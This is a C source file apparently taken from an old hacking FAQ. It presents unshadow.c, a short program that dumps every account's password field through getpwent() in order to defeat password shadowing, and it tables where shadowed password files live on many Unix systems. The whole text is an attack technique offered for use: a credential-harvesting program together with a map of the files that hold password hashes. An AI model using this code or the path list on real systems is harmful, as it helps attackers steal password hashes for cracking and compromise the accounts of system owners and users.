/*
 * From:  http://www-personal.engin.umich.edu/~jgotts/underground/hack-faq.html
 *
 * 03. What is password shadowing? 
 * 
 * Password shadowing is a security system where the encrypted password
 * field of /etc/passwd is replaced with a special token and the encrypted
 * password is stored in a separate file which is not readable by normal
 * system users. 
 * 
 * To defeat password shadowing on many (but not all) systems, write a
 * program that uses successive calls to getpwent() to obtain the password file
 *
 * Example: unshadow.c 
 */

#include <pwd.h>
main()
{
struct passwd *p;
while(p=getpwent())
printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,
p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
}



/*
04. Where can I find the password file if it's shadowed? 

Unix                  Path                            Token
-----------------------------------------------------------------
AIX 3                 /etc/security/passwd            !
       or             /tcb/auth/files//
A/UX 3.0s             /tcb/files/auth/?/*
BSD4.3-Reno           /etc/master.passwd              *
ConvexOS 10           /etc/shadpw                     *
ConvexOS 11           /etc/shadow                     *
DG/UX                 /etc/tcb/aa/user/               *
EP/IX                 /etc/shadow                     x
HP-UX                 /.secure/etc/passwd             *
IRIX 5                /etc/shadow                     x
Linux 1.1             /etc/shadow                     *
OSF/1                 /etc/passwd[.dir|.pag]          *
SCO Unix #.2.x        /tcb/auth/files//
SunOS4.1+c2           /etc/security/passwd.adjunct    ##username
SunOS 5.0             /etc/shadow
                      
System V Release 4.0  /etc/shadow                     x
System V Release 4.2  /etc/security/* database
Ultrix 4              /etc/auth[.dir|.pag]            *
UNICOS                /etc/udb                        *
*/